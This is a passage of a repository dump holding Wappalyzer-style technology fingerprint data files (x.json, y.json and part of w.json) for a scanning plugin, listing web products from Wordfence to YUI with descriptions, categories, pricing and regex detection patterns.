\"WordPress.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.com\"\n  },\n  \"Wordfence\": {\n    \"cats\": [\n      87,\n      16\n    ],\n    \"cpe\": \"cpe:2.3:a:wordfence:wordfence:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"Wordfence is a security plugin for sites that use WordPress. Wordfence includes an endpoint firewall and malware scanner.\",\n    \"icon\": \"Wordfence.svg\",\n    \"js\": {\n      \"wordfenceAJAXWatcher\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wordfence/.+admin\\\\.ajaxWatcher\\\\.\\\\d+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.wordfence.com\"\n  },\n  \"Wordfence Login Security\": {\n    \"cats\": [\n      87,\n      16\n    ],\n    \"description\": \"Wordfence Login Security contains a subset of the functionality found in the full Wordfence plugin: Two-factor Authentication, XML-RPC Protection and Login Page CAPTCHA.\",\n    \"icon\": \"Wordfence.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wordfence/.+login\\\\.\\\\d+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.wordfence.com\"\n  },\n  \"Workable\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Workable is the all-in-one hiring solution.\",\n    \"dom\": [\n      \"a[href*='.workable.com/']\"\n    ],\n    \"icon\": \"Workable.svg\",\n    \"js\": {\n      \"webpackChunk_workable_candidate\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.workable.com\"\n  },\n  \"Workarea\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Workarea is a SaaS ecommerce platform for medium to large businesses.\",\n    \"icon\": \"Workarea.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"MongoDB\",\n      \"Elasticsearch\"\n    ],\n    \"js\": {\n      \"WEBLINC.cartCount\": \"\",\n      \"workarea\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.workarea.com\"\n  },\n  \"Workstand\": {\n    \"cats\": [\n      6,\n      32\n    ],\n    \"description\": \"Workstand is a marketing and ecommerce solution designed for bike shops.\",\n    \"icon\": \"Workstand.svg\",\n    \"meta\": {\n      \"author\": \"^SmartEtailing Inc$\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"smartetailing\\\\.piwik\\\\.pro/\"\n    ],\n    \"website\": \"https://workstand.com\"\n  },\n  \"World4You\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"World4You operates homepage and domain solutions. World4Youu operates data centers in Austria and provides data protection.\",\n    \"dns\": {\n      \"SOA\": \"ns\\\\d+\\\\.world4you\\\\.at\"\n    },\n    \"icon\": \"World4You.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.world4you.com\"\n  },\n  \"WorldPay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"WorldPay is a merchant services and payment processing provider offering a payment gateway for online transactions.\",\n    \"dom\": [\n      \"img[src*='secure.worldpay.com'], img[alt='Powered by WorldPay'], a[href*='worldpay.com'][target='_blank']\"\n    ],\n    \"icon\": \"WorldPay.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://online.worldpay.com\"\n  },\n  \"WorldShopping\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"WorldShopping makes online purchases in Japan easier for international visitors.\",\n    \"icon\": \"worldshopping.svg\",\n    \"scriptSrc\": [\n      \"checkout-api\\\\.worldshopping\\\\.jp/(v\\\\d+)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.worldshopping.global/\"\n  },\n  \"Worldz\": {\n    \"cats\": [\n      5,\n      76\n    ],\n    \"description\": \"Worldz calculates the economic value of a user’s social popularity (qualitatively and quantitatively). In proportion to this value, it provides a personalised discount, which can be applied in exchange for a social sharing by the user on their Instagram or Facebook profile.\",\n    \"icon\": \"Worldz.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.worldztool\\\\.com/\"\n    ],\n    \"website\": \"https://www.worldz-business.net\"\n  },\n  \"WotNot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"WotNot is a no-code chatbot platform enabling users to create and deploy chatbots without programming skills.\",\n    \"icon\": \"WotNot.svg\",\n    \"js\": {\n      \"WotNot.GetChatWindow\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.wotnot\\\\.io/\"\n    ],\n    \"website\": \"https://wotnot.io\"\n  },\n  \"Wowee\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Wowee is a wishlist creation tool designed to help users organise and manage their desired items.\",\n    \"dom\": [\n      \"script#wowee-script\"\n    ],\n    \"icon\": \"Wowee.svg\",\n    \"js\": {\n      \"woweeScriptUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wowee.cz\"\n  },\n  \"Wowza Video Player\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Wowza Video Player is a robust, industry standard player that provides HTML5, HLS, MPEG-DASH, and LL-DASH playback.\",\n    \"icon\": \"wowza.svg\",\n    \"js\": {\n      \"WowzaPlayer\": \"\",\n      \"WowzaPlayer.jsplayer\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.wowza.com/video/player\"\n  },\n  \"Wt\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Wt is a C++ library for developing web applications.\",\n    \"icon\": \"Wt.svg\",\n    \"js\": {\n      \"Wt.WT.$\": \"\",\n      \"WtOnLoad\": \"\",\n      \"WtSignalEmit\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.webtoolkit.eu/wt\"\n  },\n  \"Wufoo\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Wufoo is an online form builder that creates forms including contact forms, online payments, online surveys and event registrations.\",\n    \"dom\": [\n      \"a[href*='.wufoo.com/forms/'][target='_blank']\"\n    ],\n    \"icon\": \"Wufoo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wufoo.com\"\n  },\n  \"Wuilt\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Wuilt is the first Arab platform of its kind to help individuals and businesses create ready-made websites and ecommerce stores.\",\n    \"dom\": {\n      \"img[src*='wuilt-assets-v']\": {\n        \"attributes\": {\n          \"src\": \"wuilt-assets-v\\\\d+-dev\\\\.s\\\\d+\\\\.amazonaws\\\\.com/\"\n        }\n      }\n    },\n    \"icon\": \"Wuilt.svg\",\n    \"implies\": [\n      \"React\",\n      \"Node.js\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wuilt.com\"\n  },\n  \"Wunderkind\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Wunderkind (Formerly BounceX) is a software for behavioural marketing technologies, created to de-anonymise site visitors, analyse their digital behaviour and create relevant digital experiences regardless of channel or device.\",\n    \"dom\": [\n      \"link[href*='.smarterhq.io']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.smarterhq\\\\.io\"\n    },\n    \"icon\": \"Wunderkind.svg\",\n    \"js\": {\n      \"bouncex\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bounceexchange\\\\.com\",\n      \"\\\\.smarterhq\\\\.io/\"\n    ],\n    \"website\": \"https://www.wunderkind.co\"\n  },\n  \"Wurfl\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"WURFL.js is JavaScript that detects device models of smartphones, tablets, smart TVs and game consoles accessing your website.\",\n    \"icon\": \"Wurfl.svg\",\n    \"js\": {\n      \"WURFL\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.wurfl\\\\.io\"\n    ],\n    \"website\": \"https://web.wurfl.io/\"\n  },\n  \"Wyng\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Wyng is a platform that connects audiences and drives consumer actions across various marketing channels.\",\n    \"dom\": [\n      \"iframe[src*='//offerpop.com/']\"\n    ],\n    \"icon\": \"Wyng.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.offerpop\\\\.com/\"\n    ],\n    \"website\": \"https://www.wyng.com\"\n  },\n  \"WysiBB\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"WysiBB very simple and functional open-source WYSIWYG BBCode editor based on jQuery.\",\n    \"icon\": \"WysiBB.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/jquery\\\\.wysibb\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://wysibb.com\"\n  },\n  \"wBuy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"wBuy is a SaaS ecommerce platform.\",\n    \"icon\": \"wBuy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sistemawbuy\\\\.com\\\\.br/\"\n    ],\n    \"website\": \"https://www.wbuy.com.br\"\n  },\n  \"waitForImages\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"waitForImages is a lightweight, high-performance JavaScript library that simplifies the handling of image preloading events.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:jquery\\\\.)?)?waitforimages(?:-modded)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"(?:(?:jquery\\\\.)?)?waitforimages(?:-((?:\\\\d+\\\\.)+\\\\d+)-modded)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/alexanderdickson/waitForImages\"\n  },\n  \"wap.store\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"The wap.store provides a range of services for ecommerce businesses, including a platform, a marketplace hub, and a digital agency.\",\n    \"icon\": \"wap.store.svg\",\n    \"implies\": [\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"WapStore.categoria\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wapstore.com.br\"\n  },\n  \"web-vitals\": {\n    \"cats\": [\n      59,\n      78\n    ],\n    \"description\": \"The web-vitals JavaScript is a tiny, modular library for measuring all the web vitals metrics on real users.\",\n    \"icon\": \"web-vitals.svg\",\n    \"js\": {\n      \"webVitals\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"web-vitals@([\\\\d.]+)/dist/web-vitals.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"scripts\": [\n      \"(8999999999999[\\\\s\\\\S]+1e12[\\\\s\\\\S]+(largest-contentful-paint|first-input|layout-shift)|(largest-contentful-paint|first-input|layout-shift)[\\\\s\\\\S]+8999999999999[\\\\s\\\\S]+1e12)\"\n    ],\n    \"website\": \"https://github.com/GoogleChrome/web-vitals\"\n  },\n  \"webEdition\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:webedition:webedition_cms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"webEdition.png\",\n    \"meta\": {\n      \"DC.title\": \"webEdition\",\n      \"generator\": \"webEdition\"\n    },\n    \"website\": \"https://webedition.de/en\"\n  },\n  \"wisyCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"wisyCMS.svg\",\n    \"meta\": {\n      \"generator\": \"^wisy CMS[ v]{0,3}([0-9.,]*)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://wisy.3we.de\"\n  },\n  \"wpBakery\": {\n    \"cats\": [\n      51,\n      87\n    ],\n    \"description\": \"WPBakery is a drag and drop visual page builder plugin for WordPress.\",\n    \"icon\": \"wpBakery.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"WPBakery\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wpbakery.com\"\n  },\n  \"wpCache\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"WPCache is a static caching plugin for WordPress.\",\n    \"headers\": {\n      \"X-Powered-By\": \"wpCache(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<!--[^>]+wpCache\"\n    ],\n    \"icon\": \"wpCache.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"wpCache\",\n      \"keywords\": \"wpCache\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"url\": [\n      \"^https?://[^/]+\\\\.wpcache\\\\.co\"\n    ],\n    \"website\": \"https://wpcache.co\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/x.json",
    "content": "{\n  \"X-Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \" X-Cart is an open source PHP shopping cart ecommerce software platform.\",\n    \"icon\": \"X-Cart.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"xcart_web_dir\": \"\",\n      \"xliteConfig\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"X-Cart(?: (\\\\d+))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://kb.x-cart.com\"\n  },\n  \"X.ai\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"X.ai is a scheduling tool that organizes meeting times and improves lead conversion by adding embedded booking buttons to websites or within live chat applications.\",\n    \"icon\": \"X.ai.svg\",\n    \"js\": {\n      \"xdotaiAction\": \"\",\n      \"xdotaiButton\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn)?x\\\\.ai/.*/xdotai-embed\\\\.js\"\n    ],\n    \"website\": \"https://x.ai\"\n  },\n  \"XAMPP\": {\n    \"cats\": [\n      22\n    ],\n    \"html\": [\n      \"<title>XAMPP(?: Version ([\\\\d\\\\.]+))?</title>\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"XAMPP.png\",\n    \"implies\": [\n      \"Apache HTTP Server\",\n      \"MySQL\",\n      \"PHP\",\n      \"Perl\"\n    ],\n    \"meta\": {\n      \"author\": \"Kai Oswald Seidler\\\\;confidence:10\"\n    },\n    \"website\": \"https://www.apachefriends.org/en/xampp.html\"\n  },\n  \"XGen Ai\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"XGen Ai is a cloud-based customer journey mapping tool that helps businesses manage product recommendations via artificial intelligence (AI).\",\n    \"icon\": \"XGen Ai.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//assets\\\\.xgen\\\\.dev/\"\n    ],\n    \"website\": \"https://xgen.ai\"\n  },\n  \"XMB\": {\n    \"cats\": [\n      2\n    ],\n    \"html\": [\n      \"<!-- Powered by XMB\"\n    ],\n    \"icon\": \"XMB.png\",\n    \"website\": \"https://www.xmbforum.com\"\n  },\n  \"XOOPS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:xoops:xoops:*:*:*:*:*:*:*:*\",\n    \"icon\": \"XOOPS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"xoops\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"XOOPS\"\n    },\n    \"website\": \"https://xoops.org\"\n  },\n  \"XRegExp\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"XRegExp.png\",\n    \"js\": {\n      \"XRegExp.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"xregexp[.-]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"/([\\\\d.]+)/xregexp(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"xregexp.*\\\\.js\"\n    ],\n    \"website\": \"https://xregexp.com\"\n  },\n  \"XSLT\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"XSLT is designed for use as part of XSL, which is a stylesheet language for XML.\",\n    \"html\": [\n      \"<xsl[^>]* version=\\\"(.+)\\\"\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"W3C.svg\",\n    \"website\": \"https://www.w3.org/TR/xslt-10\"\n  },\n  \"XWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"XWiki is a free wiki software platform written in Java.\",\n    \"excludes\": [\n      \"MediaWiki\"\n    ],\n    \"html\": [\n      \"<html[^>]data-xwiki-[^>]>\"\n    ],\n    \"icon\": \"xwiki.svg\",\n    \"implies\": [\n      \"Java\\\\;confidence:99\"\n    ],\n    \"meta\": {\n      \"wiki\": \"xwiki\"\n    },\n    \"website\": \"https://www.xwiki.org\"\n  },\n  \"XYZScripts\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"XYZScripts is a provider of PHP clone scripts and WordPress plugins. It offers top-quality PHP and MySQL scripts to help build online businesses, with ready-to-deploy solutions that enable website setup.\",\n    \"dom\": [\n      \"a[href*='xyzscripts.com/'] + a[href*='www.xyzscripts.com']\"\n    ],\n    \"icon\": \"XYZScripts.svg\",\n    \"saas\": true,\n    \"website\": \"https://xyzscripts.com\"\n  },\n  \"Xajax\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:xajax:xajax:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Xajax.png\",\n    \"scriptSrc\": [\n      \"xajax_core.*\\\\.js\"\n    ],\n    \"website\": \"https://xajax-project.org\"\n  },\n  \"Xanario\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Xanario is an ecommerce platform that offers a comprehensive system for online shop solutions, including CMS, CRM, shop management, blog integration, POS system, and warehouse management.\",\n    \"icon\": \"Xanario.svg\",\n    \"meta\": {\n      \"generator\": \"xanario shopsoftware\"\n    },\n    \"website\": \"https://xanario.de\"\n  },\n  \"Xano\": {\n    \"cats\": [\n      3\n    ],\n    \"description\": \"Xano is a no-code backend development platform that allows users to build and manage databases, APIs, and server-side logic without writing code.\",\n    \"icon\": \"Xano.svg\",\n    \"js\": {\n      \"XanoBaseStorage\": \"\",\n      \"XanoClient\": \"\",\n      \"XanoCookieStorage\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.xano.com\"\n  },\n  \"XenForo\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"xf_csrf\": \"\",\n      \"xf_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*\",\n    \"description\": \"XenForo is a PHP-based forum hosting program for communities that is designed to be deployed on a remote web server.\",\n    \"html\": [\n      \"(?:jQuery\\\\.extend\\\\(true, XenForo|<a[^>]+>Forum software by XenForo™|<!--XF:branding|<html[^>]+id=\\\"XenForo\\\")\",\n      \"<html id=\\\"XF\\\" \"\n    ],\n    \"icon\": \"XenForo.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"XF.GuestUsername\": \"\"\n    },\n    \"website\": \"https://xenforo.com\"\n  },\n  \"Xeora\": {\n    \"cats\": [\n      18\n    ],\n    \"headers\": {\n      \"Server\": \"XeoraEngine\",\n      \"X-Powered-By\": \"XeoraCube\"\n    },\n    \"html\": [\n      \"<input type=\\\"hidden\\\" name=\\\"_sys_bind_\\\\d+\\\" id=\\\"_sys_bind_\\\\d+\\\" />\"\n    ],\n    \"icon\": \"xeora.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"scriptSrc\": [\n      \"/_bi_sps_v.+\\\\.js\"\n    ],\n    \"website\": \"https://www.xeora.org\"\n  },\n  \"Xitami\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:xitami:xitami:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Xitami(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Xitami.png\",\n    \"website\": \"https://xitami.com\"\n  },\n  \"Xiuno BBS\": {\n    \"cats\": [\n      1,\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:xiuno:xiunobbs:*:*:*:*:*:*:*:*\",\n    \"description\": \"Xiunobbs is an open-source, lightweight forum software designed for easy community management and customization.\",\n    \"icon\": \"Xiuno BBS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"author\": \"XiunoBBS\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://xiunobbs.cn\"\n  },\n  \"Xonic\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"Powered by <a href=\\\"http://www\\\\.xonic-solutions\\\\.de/index\\\\.php\\\" target=\\\"_blank\\\">xonic-solutions Shopsoftware</a>\"\n    ],\n    \"icon\": \"xonic.png\",\n    \"meta\": {\n      \"keywords\": \"xonic-solutions\"\n    },\n    \"scriptSrc\": [\n      \"core/jslib/jquery\\\\.xonic\\\\.js\\\\.php\"\n    ],\n    \"website\": \"https://www.xonic-solutions.de\"\n  },\n  \"XpressEngine\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:xpressengine:xpressengine:*:*:*:*:*:*:*:*\",\n    \"description\": \"XpressEngine (XE) is an open-source content management system (CMS) designed for building and managing websites, blogs, and online communities.\",\n    \"icon\": \"XpressEngine.svg\",\n    \"meta\": {\n      \"generator\": \"XpressEngine\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.xpressengine.com/\"\n  },\n  \"Xpresslane\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Xpresslane is a checkout platform for ecommerce that focuses on increasing conversion during the checkout process.\",\n    \"dom\": {\n      \"link[href*='/assets/xpresslane.css']\": {\n        \"attributes\": {\n          \"href\": \"cdn\\\\.shopify\\\\.com/.+/assets/xpresslane\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"Xpresslane.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.xpresslane\\\\.in/\"\n    ],\n    \"website\": \"https://www.xpresslane.in\"\n  },\n  \"Xretail\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Xretail is a subscription based product that enables the omni-channel ecommerce approach to its customers.\",\n    \"icon\": \"Xretail.svg\",\n    \"meta\": {\n      \"author\": \"^Xretail team$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://xretail.com\"\n  },\n  \"Xserver\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Xserver engages in web hosting, web application and internet-related services.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.xserver\\\\.jp\"\n    },\n    \"icon\": \"Xserver.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.xserver.ne.jp\"\n  },\n  \"Xtime\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Xtime is a company that provides automotive service scheduling and management solutions primarily for car dealerships and automotive service centers.\",\n    \"dom\": [\n      \"a[data-modified-by='xtime']\"\n    ],\n    \"icon\": \"Xtime.svg\",\n    \"js\": {\n      \"xtime\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.xtime\\\\.com/scheduling\"\n    ],\n    \"website\": \"https://xtime.com\"\n  },\n  \"Xtra\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Xtra is a creative, responsive, live drag and drop and easy-to-use WordPress theme for any kind of websites.\",\n    \"dom\": {\n      \"link[href*='/wp-content/themes/xtra/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/themes/xtra/.+core(?:-laptop|-mobile)?\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Xtra.svg\",\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/xtra/.+custom\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://xtratheme.com\"\n  },\n  \"Xtremepush\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Xtremepush is a customer engagement, personalisation and data platform. It's purpose-built for multichannel and mobile marketing.\",\n    \"icon\": \"Xtremepush.svg\",\n    \"js\": {\n      \"xtremepush\": \"\"\n    },\n    \"website\": \"https://xtremepush.com\"\n  },\n  \"Xzero Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Xzero Analytics is a tool for monitoring user journeys, analysing visitor sessions, gathering heatmaps, and more, enabling the observation and evolution of site traffic.\",\n    \"icon\": \"XZeroAnalytics.png\",\n    \"js\": {\n      \"xzero-analytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.xzero\\\\.co\\\\.uk\"\n    ],\n    \"website\": \"https://analytics.xzero.co.uk\"\n  },\n  \"xCharts\": {\n    \"cats\": [\n      25\n    ],\n    \"html\": [\n      \"<link[^>]* href=\\\"[^\\\"]*xcharts(?:\\\\.min)?\\\\.css\"\n    ],\n    \"implies\": [\n      \"D3\"\n    ],\n    \"js\": {\n      \"xChart\": \"\"\n    },\n    \"scriptSrc\": [\n      \"xcharts\\\\.js\"\n    ],\n    \"website\": \"https://tenxer.github.io/xcharts/\"\n  },\n  \"xtCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"xtCommerce is an ecommerce platform offering a complete solution for online shop management, including SEO, mobile optimization, and integrated payment systems.\",\n    \"html\": [\n      \"<div class=\\\"copyright\\\">[^<]+<a[^>]+>xt:Commerce\"\n    ],\n    \"icon\": \"xtCommerce.svg\",\n    \"meta\": {\n      \"generator\": \"xt:Commerce\"\n    },\n    \"website\": \"https://www.xt-commerce.com\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/y.json",
    "content": "{\n  \"YMQ Product Options Variant Option\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"YMQ Product Options Variant Option help add an unlimited number of product options to your items so you're not restricted by Shopify's limit of 3 options and 100 variants.\",\n    \"icon\": \"YMQ Product Options Variant Option.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ymq_option.v\": \"\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/ymq-options\"\n  },\n  \"YNAP Ecommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"YNAP provides a suite of B2B luxury services including online and mobile store development, omnichannel logistics, customer care, digital marketing, data-driven merchandising and global strategy development.\",\n    \"icon\": \"YNAP.png\",\n    \"js\": {\n      \"yTos\": \"\",\n      \"ycookieApiUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ynap.com/pages/about-us/what-we-do/monobrand/\"\n  },\n  \"YUI\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:yahoo:yui:*:*:*:*:*:*:*:*\",\n    \"description\": \"YUI is a JavaScript and CSS library with more than 30 unique components including low-level DOM utilities and high-level user-interface widgets.\",\n    \"icon\": \"YUI.svg\",\n    \"js\": {\n      \"YAHOO.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"YUI.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/yui/|yui\\\\.yahooapis\\\\.com)\"\n    ],\n    \"website\": \"https://clarle.github.io/yui3\"\n  },\n  \"YUI Doc\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"UIDoc is a Node.js application used at build time to generate API documentation.\",\n    \"html\": [\n      \"(?:<html[^>]* yuilibrary\\\\.com/rdf/[\\\\d.]+/yui\\\\.rdf|<body[^>]+class=\\\"yui3-skin-sam)\"\n    ],\n    \"icon\": \"Yahoo.svg\",\n    \"website\": 